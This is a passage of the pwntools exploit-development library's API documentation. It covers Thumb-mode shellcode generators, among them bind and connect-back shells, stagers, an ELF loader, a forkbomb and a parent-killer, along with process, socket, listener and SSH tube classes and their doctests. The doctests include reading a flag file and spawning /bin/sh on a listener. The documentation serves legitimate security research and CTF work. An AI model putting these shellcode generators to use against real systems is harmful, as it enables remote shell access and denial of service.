 ('mov', 'a', 'b'),
 ('mov', 'b', 'c'),
 ('mov', 'c', 'x'),
 ('mov', 'x', 'l')]
>>> regsort({'a': 'b', 'b': 'c'}, ['a','b','c'], xchg=0)
[('mov', 'a', 'b'), ('mov', 'b', 'c')]
```

`pwnlib.regsort.resolve_order` (*reg*, *deps*)

Resolve the order of all dependencies starting at a given register.

Example

```
>>> want = {'a': 1, 'b': 'c', 'c': 'd', 'd': 7, 'x': 'd'}
>>> deps = {'a': [], 'b': [], 'c': ['b'], 'd': ['c', 'x'], 'x': []}
>>> resolve_order('a', deps)
['a']
>>> resolve_order('b', deps)
['b']
>>> resolve_order('c', deps)
['b', 'c']
>>> resolve_order('d', deps)
['b', 'c', 'x', 'd']
```

`pwnlib.shellcraft.thumb` — Shellcode for Thumb Mode

`pwnlib.shellcraft.thumb`

Shellcraft module containing generic thumb little endian shellcodes.

`pwnlib.shellcraft.thumb.crash` ()

Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True) < 0
True
```

`pwnlib.shellcraft.thumb.infloop()`

An infinite loop.

`pwnlib.shellcraft.thumb.itoa(v, buffer='sp', allocate_stack=True)`

Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- **v** (*str*, *int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.thumb.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.thumb.itoa('r0')
>>> sc += shellcraft.thumb.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

`pwnlib.shellcraft.thumb.memcpy(dest, src, n)`

Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.thumb.mov(dst, src)`

Returns THUMB code for moving the specified source value into the specified destination register.

If `src` is a string that is not a register, then it will locally set `context.arch` to `'thumb'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Example

```
>>> print shellcraft.thumb.mov('r1', 'r2').rstrip()
mov r1, r2
>>> print shellcraft.thumb.mov('r1', 0).rstrip()
eor r1, r1
>>> print shellcraft.thumb.mov('r1', 10).rstrip()
mov r1, #0xa + 1
sub r1, r1, 1
>>> print shellcraft.thumb.mov('r1', 17).rstrip()
mov r1, #0x11
>>> print shellcraft.thumb.mov('r1', 'r1').rstrip()
/* moving r1 into r1, but this is a no-op */
```

(continues on next page)

(continued from previous page)

```

>>> print shellcraft.thumb.mov('r1', 512).rstrip()
mov r1, #0x200
>>> print shellcraft.thumb.mov('r1', 0x10000001).rstrip()
mov r1, #(0x10000001 >> 28)
lsl r1, #28
add r1, #(0x10000001 & 0xff)
>>> print shellcraft.thumb.mov('r1', 0xdead0000).rstrip()
mov r1, #(0xdead0000 >> 25)
lsl r1, #(25 - 16)
add r1, #((0xdead0000 >> 16) & 0xff)
lsl r1, #16
>>> print shellcraft.thumb.mov('r1', 0xdead00ff).rstrip()
ldr r1, value_...
b value_..._after
value_...: .word 0xdead00ff
value_..._after:
>>> with context.local(os = 'linux'):
...     print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
mov r1, #SYS_execve /* 0xb */
>>> with context.local(os = 'freebsd'):
...     print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
mov r1, #SYS_execve /* 0x3b */
>>> with context.local(os = 'linux'):
...     print shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').
↳rstrip()
mov r1, #(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */

```

`pwnlib.shellcraft.thumb.nop()`
A nop instruction.

`pwnlib.shellcraft.thumb.popad()`
Pop all of the registers onto the stack which `i386.popad` does, in the same order.

`pwnlib.shellcraft.thumb.push(value)`
Pushes a value onto the stack without using null bytes or newline characters.

If `src` is a string, then we try to evaluate with `context.arch = 'thumb'` using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters `value` (*int*, *str*) – The value or register to push

Example

```

>>> print pwnlib.shellcraft.thumb.push('r0').rstrip()
push {r0}
>>> print pwnlib.shellcraft.thumb.push(0).rstrip()
/* push 0 */
eor r7, r7
push {r7}
>>> print pwnlib.shellcraft.thumb.push(1).rstrip()
/* push 1 */
mov r7, #1
push {r7}
>>> print pwnlib.shellcraft.thumb.push(256).rstrip()
/* push 256 */

```

(continues on next page)

(continued from previous page)

```

mov r7, #0x100
push {r7}
>>> print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
/* push 'SYS_execve' */
mov r7, #0xb
push {r7}
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
/* push 'SYS_execve' */
mov r7, #0x3b
push {r7}

```

`pwnlib.shellcraft.thumb.pushad()`

Push all of the registers onto the stack which i386 pushad does, in the same order.

`pwnlib.shellcraft.thumb.pushstr(string, append_null=True, register='r7')`

Pushes a string onto the stack without using null bytes or newline characters.

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

Examples:

Note that this doctest has two possibilities for the first result, depending on your version of binutils.

```

>>> enhex(asm(shellcraft.pushstr('Hello\nWorld!', True))) in [
...
↳ '87ea070780b4dff8047001e0726c642180b4dff8047001e06f0a576f80b4dff8047001e048656c6c80b4
↳ ',
...
↳ '87ea070780b4dff8067000f002b8726c642180b4dff8047000f002b86f0a576f80b4014f00f002b848656c6c80b4
↳ ']
True
>>> print shellcraft.pushstr('abc').rstrip()
/* push 'abc\x00' */
ldr r7, value_...
b value_..._after
value_...: .word 0xff636261
value_..._after:
    lsl r7, #8
    lsr r7, #8
    push {r7}
>>> print enhex(asm(shellcraft.pushstr('\x00', False)))
87ea070780b4

```

`pwnlib.shellcraft.thumb.pushstr_array(reg, array)`

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwnlib.shellcraft.thumb.ret(return_value=None)`

A single-byte RET instruction.

Parameters `return_value` – Value to return

`pwnlib.shellcraft.thumb.setregs` (*reg_context*, *stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1,ebx=eax`, set `ebx` first).

Parameters

- `reg_context` (*dict*) – Desired register context
- `stack_allowed` (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip()
mov r0, #1
mov r2, r3
>>> print shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip()
mov r2, r3
eor r0, r0, r1 /* xchg r0, r1 */
eor r1, r0, r1
eor r0, r0, r1
```

`pwnlib.shellcraft.thumb.to_arm` (*reg=None*, *avoid=[]*)

Go from THUMB to ARM mode.

`pwnlib.shellcraft.thumb.trap` ()

A trap instruction.

`pwnlib.shellcraft.thumb.udiv_10` (*N*)

Divides `r0` by 10. Result is stored in `r0`, `N` and `Z` flags are updated.

Code is from generated from here: <https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py>

With code: `python magic.py 10 code_for_unsigned`

`pwnlib.shellcraft.thumb.linux`

Shellcraft module containing THUMB shellcodes for Linux.

`pwnlib.shellcraft.thumb.linux.bindsh` (*port*, *network*)

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.thumb.linux.cat` (*filename*, *fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat(f)).
↳recvline()
'FLAG\n'
```

`pwnlib.shellcraft.thumb.linux.connect` (*host, port, network='ipv4'*)
 Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

`pwnlib.shellcraft.thumb.linux.connectstager` (*host, port, network='ipv4'*)
 connect recvsizer stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.thumb.linux.dup` (*sock='r6'*)
 Args: [sock (imm/reg) = r6] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.thumb.linux.dupsh` (*sock='r6'*)
 Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.thumb.linux.echo` (*string, sock='I'*)
 Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
'hello\n'
```

`pwnlib.shellcraft.thumb.linux.findpeer` (*port*)
 Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in r6.

`pwnlib.shellcraft.thumb.linux.findpeersh` (*port*)
 Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.

`pwnlib.shellcraft.thumb.linux.findpeerstager` (*port=None*)
 Findpeer recvsizer stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwnlib.shellcraft.thumb.linux.forkbomb` ()
 Performs a forkbomb attack.

`pwnlib.shellcraft.thumb.linux.forkexit` ()
 Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.thumb.linux.killparent` ()
 Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.thumb.linux.listen` (*port, network*)
 Listens on a TCP port, accept a client and leave his socket in r6. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.thumb.linux.loader` (*address*)
 Loads a statically-linked ELF into memory and transfers control.

Parameters `address` (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.thumb.linux.loader_append` (*data=None*)
 Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters `data` (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If None, it is ignored.

Example:

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
# >>> gcc = process(['arm-linux-gnueabi-gcc', '-xc', '-static', '-Wl,-Ttext-segment=0x20000000', '-
') # >>> gcc.write(""" # ... int main() { # ... printf("Hello, %s!\n", "world"); # ... } # ... """) #
>>> gcc.shutdown('send') # >>> gcc.poll(True) # 0 # >>> sc = shellcraft.loader_append('a.out') #
>>> run_assembly(sc).recvline() # 'Hello, world!\n'
```

`pwnlib.shellcraft.thumb.linux.readfile` (*path*, *dst='r6'*)

Args: [*path*, *dst* (imm/reg) = *r6*] Opens the specified file path and sends its content to the specified file descriptor. Leaves the destination file descriptor in *r6* and the input file descriptor in *r5*.

`pwnlib.shellcraft.thumb.linux.readn` (*fd*, *buf*, *nbytes*)

Reads exactly *nbytes* bytes from file descriptor *fd* into the buffer *buf*.

Parameters

- **fd** (*int*) – *fd*
- **buf** (*void*) – *buf*
- **nbytes** (*size_t*) – *nbytes*

`pwnlib.shellcraft.thumb.linux.recvsize` (*sock*, *reg='r1'*)

Recives 4 bytes size field Useful in conjunction with `findpeer` and `stager` :param *sock*, the socket to read the payload from.: :param *reg*, the place to put the size: :type *reg*, the place to put the size: default `ecx`

Leaves socket in `ebx`

`pwnlib.shellcraft.thumb.linux.sh` ()

Execute a different process.

```
>>> p = run_assembly(shellcraft.thumb.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

`pwnlib.shellcraft.thumb.linux.stage` (*fd=0*, *length=None*)

Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is `stdin` (0).
- **length** (*int*) – Optional buffer length. If `None`, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

`pwnlib.shellcraft.thumb.linux.stager` (*sock*, *size*)

Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it. The socket will be left in `r6`.

`pwnlib.shellcraft.thumb.linux.syscall` (*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None, arg6=None*)

Args: [`syscall_number`, `*args`] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print shellcraft.thumb.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
/* call syscall(11, 1, 'sp', 2, 0) */
mov r0, #1
mov r1, sp
mov r2, #2
eor r3, r3
mov r7, #0xb
svc 0x41
>>> print shellcraft.thumb.linux.syscall('SYS_exit', 0).rstrip()
/* call exit(0) */
eor r0, r0
mov r7, #SYS_exit /* 1 */
svc 0x41
>>> print pwnlib.shellcraft.open('/home/pwn/flag').rstrip()
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push '/home/pwn/flag\x00' */
mov r7, #(0x6761 >> 8)
lsl r7, #8
add r7, #(0x6761 & 0xff)
push {r7}
ldr r7, value_...
b value_..._after
value_...: .word 0x6c662f6e
value_..._after:
push {r7}
ldr r7, value_...
b value_..._after
value_...: .word 0x77702f65
value_..._after:
push {r7}
ldr r7, value_...
b value_..._after
value_...: .word 0x6d6f682f
value_..._after:
push {r7}
mov r0, sp
eor r1, r1
eor r2, r2
/* call open() */
mov r7, #SYS_open /* 5 */
svc 0x41
```

2.25 pwnlib.term — Terminal handling

`pwnlib.term.can_init()`

This function returns `True` iff `stderr` is a TTY and we are not inside a REPL. If this function returns `True`, a call

to `init()` will let pwnlib manage the terminal.

`pwnlib.term.init()`

Calling this function will take over the terminal (iff `can_init()` returns True) until the current python interpreter is closed.

It is on our TODO, to create a function to “give back” the terminal without closing the interpreter.

`pwnlib.term.term_mode = False`

This is True exactly when we have taken over the terminal using `init()`.

2.26 pwnlib.timeout — Timeout handling

Timeout encapsulation, complete with countdowns and scope managers.

`class pwnlib.timeout.Maximum`

`class pwnlib.timeout.Timeout (timeout=pwnlib.timeout.Timeout.default)`

Implements a basic class which has a timeout, and support for scoped timeout countdowns.

Valid timeout values are:

- `Timeout.default` use the global default value (`context.default`)
- `Timeout.forever` or `None` never time out
- Any positive float, indicates timeouts in seconds

Example

```
>>> context.timeout = 30
>>> t = Timeout()
>>> t.timeout == 30
True
>>> t = Timeout(5)
>>> t.timeout == 5
True
>>> i = 0
>>> with t.countdown():
...     print (4 <= t.timeout and t.timeout <= 5)
...
True
>>> with t.countdown(0.5):
...     while t.timeout:
...         print round(t.timeout,1)
...         time.sleep(0.1)
0.5
0.4
0.3
0.2
0.1
>>> print t.timeout
5.0
>>> with t.local(0.5):
...     for i in range(5):
...         print round(t.timeout,1)
...         time.sleep(0.1)
```

(continues on next page)

(continued from previous page)

```
0.5
0.5
0.5
0.5
0.5
>>> print t.timeout
5.0
```

countdown (*timeout*=`pwnlib.timeout.Timeout.default`)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

When accessing `timeout` within the scope, it will be calculated against the time when the scope was entered, in a countdown fashion.

If `None` is specified for `timeout`, then the current timeout is used is made. This allows `None` to be specified as a default argument with less complexity.

local (*timeout*)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

timeout_change ()

Callback for subclasses to hook a timeout change.

default = `pwnlib.timeout.Timeout.default`

Value indicating that the timeout should not be changed

forever = `None`

Value indicating that a timeout should not ever occur

maximum = `pwnlib.timeout.maximum`

Maximum value for a timeout. Used to get around platform issues with very large timeouts.

OSX does not permit setting socket timeouts to $2^{**}22$. Assume that if we receive a timeout of $2^{**}21$ or greater, that the value is effectively infinite.

timeout

Timeout for obj operations. By default, uses `context.timeout`.

2.27 pwnlib.tubes — Talking to the World!

The pwnlib is not a big truck! It's a series of tubes!

This is our library for talking to sockets, processes, ssh connections etc. Our goal is to be able to use the same API for e.g. remote TCP servers, local TTY-programs and programs run over over SSH.

It is organized such that the majority of the functionality is implemented in `pwnlib.tubes.tube`. The remaining classes should only implement just enough for the class to work and possibly code pertaining only to that specific kind of tube.

2.27.1 Types of Tubes

`pwntools.tubes.process` — Processes

```
class pwntools.tubes.process.process (argv=None, shell=False, executable=None, cwd=None,
                                       env=None, stdin=-1, stdout=<pwntools.tubes.process.PTY
                                       object>, stderr=-2, close_fds=True, pre-
                                       exec_fn=<function <lambda>>, raw=True, aslr=None,
                                       setuid=None, where='local', display=None, alarm=None,
                                       *args, **kwargs)
```

Bases: `pwntools.tubes.tube.tube`

Spawns a new process, and wraps it with a tube for communication.

Parameters

- **argv** (*list*) – List of arguments to pass to the spawned process.
- **shell** (*bool*) – Set to `True` to interpret `argv` as a string to pass to the shell for interpretation instead of as `argv`.
- **executable** (*str*) – Path to the binary to execute. If `None`, uses `argv[0]`. Cannot be used with `shell`.
- **cwd** (*str*) – Working directory. Uses the current working directory by default.
- **env** (*dict*) – Environment variables. By default, inherits from Python’s environment.
- **stdin** (*int*) – File object or file descriptor number to use for `stdin`. By default, a pipe is used. A `pty` can be used instead by setting this to `PTY`. This will cause programs to behave in an interactive manner (e.g., `python` will show a `>>>` prompt). If the application reads from `/dev/tty` directly, use a `pty`.
- **stdout** (*int*) – File object or file descriptor number to use for `stdout`. By default, a `pty` is used so that any `stdout` buffering by `libc` routines is disabled. May also be `PIPE` to use a normal pipe.
- **stderr** (*int*) – File object or file descriptor number to use for `stderr`. By default, `STDOUT` is used. May also be `PIPE` to use a separate pipe, although the `pwntools.tubes.tube.tube` wrapper will not be able to read this data.
- **close_fds** (*bool*) – Close all open file descriptors except `stdin`, `stdout`, `stderr`. By default, `True` is used.
- **preexec_fn** (*callable*) – Callable to invoke immediately before calling `execve`.
- **raw** (*bool*) – Set the created `pty` to raw mode (i.e. disable echo and control characters). `True` by default. If no `pty` is created, this has no effect.
- **aslr** (*bool*) – If set to `False`, disable ASLR via `personality (setarch -R)` and `setrlimit (ulimit -s unlimited)`.

This disables ASLR for the target process. However, the `setarch` changes are lost if a `setuid` binary is executed.

The default value is inherited from `context.aslr`. See `setuid` below for additional options and information.

- **setuid** (*bool*) – Used to control `setuid` status of the target binary, and the corresponding actions taken.

By default, this value is `None`, so no assumptions are made.

If `True`, treat the target binary as `setuid`. This modifies the mechanisms used to disable ASLR on the process if `aslr=False`. This is useful for debugging locally, when the exploit is a `setuid` binary.

If `False`, prevent `setuid` bits from taking effect on the target binary. This is only supported on Linux, with kernels v3.5 or greater.

- **where** (*str*) – Where the process is running, used for logging purposes.
- **display** (*list*) – List of arguments to display, instead of the main executable name.
- **alarm** (*int*) – Set a SIGALRM alarm timeout on the process.

Examples

```
>>> p = process('python2')
>>> p.sendline("print 'Hello world'")
>>> p.sendline("print 'Wow, such data'");
>>> '' == p.recv(timeout=0.01)
True
>>> p.shutdown('send')
>>> p.proc.stdin.closed
True
>>> p.connected('send')
False
>>> p.recvline()
'Hello world\n'
>>> p.recvuntil(',')
'Wow,'
>>> p.recvregex('.*data')
' such data'
>>> p.recv()
'\n'
>>> p.recv()
Traceback (most recent call last):
...
EOFError
```

```
>>> p = process('cat')
>>> d = open('/dev/urandom').read(4096)
>>> p.recv(timeout=0.1)
''
>>> p.write(d)
>>> p.recvrepeat(0.1) == d
True
>>> p.recv(timeout=0.1)
''
>>> p.shutdown('send')
>>> p.wait_for_close()
>>> p.poll()
0
```

```
>>> p = process('cat /dev/zero | head -c8', shell=True, stderr=open('/dev/null',
↪ 'w+'))
>>> p.recv()
'\x00\x00\x00\x00\x00\x00\x00\x00'
```

```
>>> p = process(['python', '-c', 'import os; print os.read(2,1024)'],
...             preexec_fn = lambda: os.dup2(0,2))
>>> p.sendline('hello')
>>> p.recvline()
'hello\n'
```

```
>>> stack_smashing = ['python', '-c', 'open("/dev/tty", "wb").write("stack smashing_
↳detected")']
>>> process(stack_smashing).recvall()
'stack smashing detected'
```

```
>>> process(stack_smashing, stdout=PIPE).recvall()
''
```

```
>>> getpass = ['python', '-c', 'import getpass; print getpass.getpass("XXX")']
>>> p = process(getpass, stdin=PTY)
>>> p.recv()
'XXX'
>>> p.sendline('hunter2')
>>> p.recvall()
'\nhunter2\n'
```

```
>>> process('echo hello 1>&2', shell=True).recvall()
'hello\n'
```

```
>>> process('echo hello 1>&2', shell=True, stderr=PIPE).recvall()
''
```

```
>>> a = process(['cat', '/proc/self/maps']).recvall()
>>> b = process(['cat', '/proc/self/maps'], aslr=False).recvall()
>>> with context.local(aslr=False):
...     c = process(['cat', '/proc/self/maps']).recvall()
>>> a == b
False
>>> b == c
True
```

```
>>> process(['sh', '-c', 'ulimit -s'], aslr=0).recvline()
'unlimited\n'
```

```
>>> io = process(['sh', '-c', 'sleep 10; exit 7'], alarm=2)
>>> io.poll(block=True) == -signal.SIGALRM
True
```

```
>>> binary = ELF.from_assembly('nop', arch='mips')
>>> p = process(binary.path)
```

can_recv_raw (*timeout*) → bool

Should not be called directly. Returns True, if there is data available within the timeout, but ignores the buffer on the object.

close ()

Closes the tube.

communicate (*stdin = None*) → str

Calls `subprocess.Popen.communicate()` method on the process.

connected_raw (*direction*)

`connected(direction = 'any')` -> bool

Should not be called directly. Returns True iff the tube is connected in the given direction.

fileno () → int

Returns the file number used for reading.

kill ()

Kills the process.

leak (*address, count=1*)

Leaks memory within the process at the specified address.

Parameters

- **address** (*int*) – Address to leak memory at
- **count** (*int*) – Number of bytes to leak at that address.

Example

```
>>> e = ELF('/bin/bash')
>>> p = process(e.path)
```

In order to make sure there's not a race condition against the process getting set up...

```
>>> p.sendline('echo hello')
>>> p.recvuntil('hello')
'hello'
```

Now we can leak some data!

```
>>> p.leak(e.address, 4)
'\x7fELF'
```

libs () → dict

Return a dictionary mapping the path of each shared library loaded by the process to the address it is loaded at in the process' address space.

If `/proc/$PID/maps` for the process cannot be accessed, the output of `ldd` alone is used. This may give inaccurate results if ASLR is enabled.

poll (*block = False*) → int

Parameters **block** (*bool*) – Wait for the process to exit

Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

recv_raw (*numb*) → str

Should not be called directly. Receives data without using the buffer on the object.

Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it should return None, in case of a closed connection it should raise an `exceptions.EOFError`.

send_raw (*data*)

Should not be called directly. Sends data to the tube.

Should return `exceptions.EOFError`, if it is unable to send any more, because of a close tube.

settimeout_raw (*timeout*)

Should not be called directly. Sets the timeout for the tube.

shutdown_raw (*direction*)

Should not be called directly. Closes the tube for further reading or writing.

alarm = None

Alarm timeout of the process

argv = None

Arguments passed on argv

aslr = None

Whether ASLR should be left on

corefile

Returns a corefile for the process.

If the process is alive, attempts to create a coredump with GDB.

If the process is dead, attempts to locate the coredump created by the kernel.

cwd

Directory that the process is working in.

Example

```
>>> p = process('sh')
>>> p.sendline('cd /tmp; echo AAA')
>>> _ = p.recvuntil('AAA')
>>> p.cwd == '/tmp'
True
>>> p.sendline('cd /proc; echo BBB;')
>>> _ = p.recvuntil('BBB')
>>> p.cwd
'/proc'
```

elf

Returns an ELF file for the executable that launched the process.

env = None

Environment passed on envp

executable = None

Full path to the executable

libc

Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically.

proc = None

`subprocess.Popen` object that backs this process

program

Alias for `executable`, for backward compatibility.

Example

```

>>> p = process('true')
>>> p.executable == '/bin/true'
True
>>> p.executable == p.program
True

```

pty = None

Which file descriptor is the controlling TTY

raw = None

Whether the controlling TTY is set to raw mode

stderr

Shorthand for `self.proc.stderr`

See: [process.proc](#)

stdin

Shorthand for `self.proc.stdin`

See: [process.proc](#)

stdout

Shorthand for `self.proc.stdout`

See: [process.proc](#)

`pwnlib.tubes.serialtube` — Serial Ports

```

class pwnlib.tubes.serialtube.serialtube(port=None, baudrate=115200, convert_newlines=True,
                                         bytesize=8, parity='N', stopbits=1,
                                         xonxoff=False, rtscts=False, dsrdtr=False, *a, **kw)

```

can_recv_raw (*timeout*) → bool

Should not be called directly. Returns True, if there is data available within the timeout, but ignores the buffer on the object.

close ()

Closes the tube.

connected_raw (*direction*)

`connected(direction = 'any')` -> bool

Should not be called directly. Returns True iff the tube is connected in the given direction.

fileno () → int

Returns the file number used for reading.

recv_raw (*numb*) → str

Should not be called directly. Receives data without using the buffer on the object.

Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it should return None, in case of a closed connection it should raise an `exceptions.EOFError`.

send_raw (*data*)

Should not be called directly. Sends data to the tube.

Should return `exceptions.EOFError`, if it is unable to send any more, because of a close tube.

settimeout_raw (*timeout*)

Should not be called directly. Sets the timeout for the tube.

shutdown_raw (*direction*)

Should not be called directly. Closes the tube for further reading or writing.

pwnlib.tubes.sock — Sockets

class pwnlib.tubes.sock.sock

Bases: *pwnlib.tubes.tube.tube*

Base type used for tubes.remote and tubes.listen classes

class pwnlib.tubes.remote.remote (*host, port, fam='any', typ='tcp', ssl=False, sock=None, *args, **kwargs*)

Bases: *pwnlib.tubes.sock.sock*

Creates a TCP or UDP-connection to a remote host. It supports both IPv4 and IPv6.

The returned object supports all the methods from *pwnlib.tubes.sock* and *pwnlib.tubes.tube*.

Parameters

- **host** (*str*) – The host to connect to.
- **port** (*int*) – The port to connect to.
- **fam** – The string “any”, “ipv4” or “ipv6” or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string “tcp” or “udp” or an integer to pass to `socket.getaddrinfo()`.
- **timeout** – A positive number, None or the string “default”.
- **ssl** (*bool*) – Wrap the socket with SSL
- **sock** (*socket.socket*) – Socket to inherit, rather than connecting

Examples

```
>>> r = remote('google.com', 443, ssl=True)
>>> r.send('GET /\r\n\r\n')
>>> r.recvn(4)
'HTTP'
```

If a connection cannot be made, an exception is raised.

```
>>> r = remote('127.0.0.1', 1)
Traceback (most recent call last):
...
PwnlibException: Could not connect to 127.0.0.1 on port 1
```

You can also use *remote.fromsocket()* to wrap an existing socket.

```
>>> import socket
>>> s = socket.socket()
>>> s.connect(('google.com', 80))
>>> s.send('GET /' + '\r\n'*2)
9
```

(continues on next page)

(continued from previous page)

```
>>> r = remote.fromsocket(s)
>>> r.recv(4)
'HTTP'
```

classmethod fromsocket (*socket*)

Helper method to wrap a standard python socket.socket with the tube APIs.

Parameters *socket* – Instance of socket.socket

Returns Instance of pwnlib.tubes.remote.remote.

class pwnlib.tubes.listen.**listen** (*port=0*, *bindaddr='0.0.0.0'*, *fam='any'*, *typ='tcp'*, **args*, ***kwargs*)

Bases: *pwnlib.tubes.sock.sock*

Creates an TCP or UDP-socket to receive data on. It supports both IPv4 and IPv6.

The returned object supports all the methods from *pwnlib.tubes.sock* and *pwnlib.tubes.tube*.

Parameters

- **port** (*int*) – The port to connect to. Defaults to a port auto-selected by the operating system.
- **bindaddr** (*str*) – The address to bind to. Defaults to 0.0.0.0/::.
- **fam** – The string “any”, “ipv4” or “ipv6” or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string “tcp” or “udp” or an integer to pass to `socket.getaddrinfo()`.

Examples

```
>>> l = listen(1234)
>>> r = remote('localhost', l.lport)
>>> _ = l.wait_for_connection()
>>> l.sendline('Hello')
>>> r.recvline()
'Hello\n'
```

```
>>> l = listen()
>>> l.spawn_process('/bin/sh')
>>> r = remote('localhost', l.lport)
>>> r.sendline('echo Goodbye')
>>> r.recvline()
'Goodbye\n'
```

close()

Closes the tube.

spawn_process (**args*, ***kwargs*)

Spawns a new process having this tube as stdin, stdout and stderr.

Takes the same arguments as `subprocess.Popen`.

wait_for_connection()

Blocks until a connection has been established.

canonicalname = None

Canonical name of the listening interface

family = None

Socket family

lhost = None

Local host

lport = 0

Local port

protocol = None

Socket protocol

sockaddr = None

Sockaddr structure that is being listened on

type = None

Socket type (e.g. socket.SOCK_STREAM)

class `pwnlib.tubes.server.server` (*port=0, bindaddr='0.0.0.0', fam='any', typ='tcp', callback=None, blocking=False, *args, **kwargs*)

Bases: `pwnlib.tubes.sock.sock`

Creates an TCP or UDP-server to listen for connections. It supports both IPv4 and IPv6.

Parameters

- **port** (*int*) – The port to connect to. Defaults to a port auto-selected by the operating system.
- **bindaddr** (*str*) – The address to bind to. Defaults to `0.0.0.0/::`.
- **fam** – The string “any”, “ipv4” or “ipv6” or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string “tcp” or “udp” or an integer to pass to `socket.getaddrinfo()`.
- **callback** – A function to be started on incoming connections. It should take a `pwnlib.tubes.remote` as its only argument.

Examples

```
>>> s = server(8888)
>>> client_conn = remote('localhost', s.lport)
>>> server_conn = s.next_connection()
>>> client_conn.sendline('Hello')
>>> server_conn.recvline()
'Hello\n'
>>> def cb(r):
...     client_input = r.readline()
...     r.send(client_input[:-1])
...
>>> t = server(8889, callback=cb)
>>> client_conn = remote('localhost', t.lport)
>>> client_conn.sendline('callback')
>>> client_conn.recv()
'\nkcabllac'
```

close()

Closes the tube.

canonname = None
Canonical name of the listening interface

family = None
Socket family

lhost = None
Local host

lport = 0
Local port

protocol = None
Socket protocol

sockaddr = None
Sockaddr structure that is being listened on

type = None
Socket type (e.g. socket.SOCK_STREAM)

`pwnlib.tubes.ssh` — SSH

```
class pwnlib.tubes.ssh.ssh(user, host, port=22, password=None, key=None, keyfile=None,
                        proxy_command=None, proxy_sock=None, level=None, cache=True,
                        ssh_agent=False, *a, **kw)
```

Creates a new ssh connection.

Parameters

- **user** (*str*) – The username to log in with
- **host** (*str*) – The hostname to connect to
- **port** (*int*) – The port to connect to
- **password** (*str*) – Try to authenticate using this password
- **key** (*str*) – Try to authenticate using this private key. The string should be the actual private key.
- **keyfile** (*str*) – Try to authenticate using this private key. The string should be a filename.
- **proxy_command** (*str*) – Use this as a proxy command. It has approximately the same semantics as ProxyCommand from ssh(1).
- **proxy_sock** (*str*) – Use this socket instead of connecting to the host.
